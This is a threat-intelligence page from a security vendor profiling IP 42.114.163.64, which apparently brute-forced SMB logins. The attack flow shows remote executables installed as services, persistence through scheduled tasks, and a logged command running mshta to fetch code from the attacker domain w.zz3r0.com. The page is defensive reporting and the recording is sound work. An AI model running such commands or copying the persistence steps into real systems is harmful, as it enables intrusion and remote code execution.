Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 42.114.163.64Previously Malicious

IP Address: 42.114.163.64Previously Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

SMB Share Connect Service Start Download File Access Share MSSQL SMB Null Session Login Service Deletion DNS Query Execute from Share File Operation By CMD SMB Access Suspicious Domain Successful SMB Login Scheduled Task Creation Service Creation Service Stop Download and Execute CMD

Associated Attack Servers

w.zz3r0.com

Basic Information

IP Address

42.114.163.64

Domain

-

ISP

-

Country

Viet Nam

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-02-15

Last seen in Akamai Guardicore Segmentation

2023-02-15

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

otvfsakj.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\otvfsakj.exe as a service named DfgY under service group None

Service Start Service Creation

C:\WINDOWS\Temp\svchost.exe was downloaded

Download File

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 4 times

Successful SMB Login

C:\yYhCiprd.exe was downloaded

Download File

yyhciprd.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\yyhciprd.exe as a service named IZpP under service group None

Service Start Service Creation

C:\WINDOWS\Temp\tmp.vbs was downloaded

Download File

Service IZpP was stopped

Service Stop

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

The command line c:\windows\nlsnjOB.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com

DNS Query Access Suspicious Domain

The file C:\WINDOWS\dbrjLEq.exe was downloaded and executed

Download and Execute

The command line c:\windows\dbrjLEq.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

c:\windows\system32\services.exe installed and started cmd as a service named nAFJ under service group None

Service Start Service Creation

C:\WINDOWS\Temp\msInstall.exe was downloaded

Download File

Connection was closed due to user inactivity

Associated Files

C:\WINDOWS\Temp\svchost.exe

SHA256: 19ec15916d504dd9c9a4c2f05dfc0d6bd3d2e72ef8e8234a9deb601598fa15c3

130000 bytes

C:\aChIckvc.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes